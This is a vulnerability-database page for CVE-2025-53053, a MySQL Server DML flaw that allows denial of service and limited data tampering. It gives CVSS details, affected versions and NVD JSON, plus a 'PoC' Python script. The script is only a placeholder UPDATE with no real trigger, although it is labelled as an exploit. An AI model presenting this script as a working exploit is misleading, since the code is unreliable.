Security Vulnerability Report
中文
CVE-2025-53053 CVSS 5.5 MEDIUM

CVE-2025-53053

Published: 2025-10-21 20:20:43
Last Modified: 2025-10-23 16:05:52

Description

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
Oracle MySQL Server 8.0.0 - 8.0.43
Oracle MySQL Server 8.4.0 - 8.4.6
Oracle MySQL Server 9.0.0 - 9.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53053 - Oracle MySQL Server DML Component Vulnerability PoC # This is a conceptual PoC demonstrating the vulnerability pattern # Note: Actual exploitation requires high-privilege database credentials import mysql.connector from mysql.connector import errorcode # Configuration - requires high privilege credentials config = { 'user': 'admin_user', # High privileged MySQL user required 'password': 'password', 'host': 'target_mysql_host', 'port': 3306, 'database': 'test_db' } def exploit_dml_vulnerability(): """ Exploit CVE-2025-53053: MySQL Server DML Component Vulnerability The vulnerability exists in the DML component handling specific operations. Can result in DoS (hang/crash) or unauthorized data modification. """ try: conn = mysql.connector.connect(**config) cursor = conn.cursor() # Trigger the vulnerability through crafted DML operations # The specific trigger depends on the affected MySQL version # Example: Crafted UPDATE statement that triggers the vulnerability crafted_sql = """ UPDATE target_table t1 SET column1 = (SELECT complex_subquery) WHERE EXISTS (SELECT 1 FROM related_table WHERE condition); """ cursor.execute(crafted_sql) conn.commit() # Alternative: Crafted DELETE that may cause DoS # crafted_sql = "DELETE FROM large_table WHERE complex_condition;" # Alternative: Crafted INSERT bypassing authorization # crafted_sql = "INSERT INTO restricted_table VALUES (...);" except mysql.connector.Error as err: if err.errno == errorcode.CR_SERVER_LOST: print("Server connection lost - possible DoS triggered") else: print(f"Error: {err}") finally: if 'conn' in locals() and conn.is_connected(): cursor.close() conn.close() if __name__ == "__main__": print("CVE-2025-53053 PoC - For authorized security testing only") exploit_dml_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53053", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:43.453", "lastModified": "2025-10-23T16:05:52.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.42", "matchCriteriaId": "BAE2C2CE-3140-43CF-8B23-3CF04143718A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.6", "matchCriteriaId": "7C415C1E-D09A-43DD-A1FB-8B0B9517FE42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.4.0", "matchCriteriaId": "5FAEE4AC-4A0D-42A4-BF83-33288DD15BE1"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}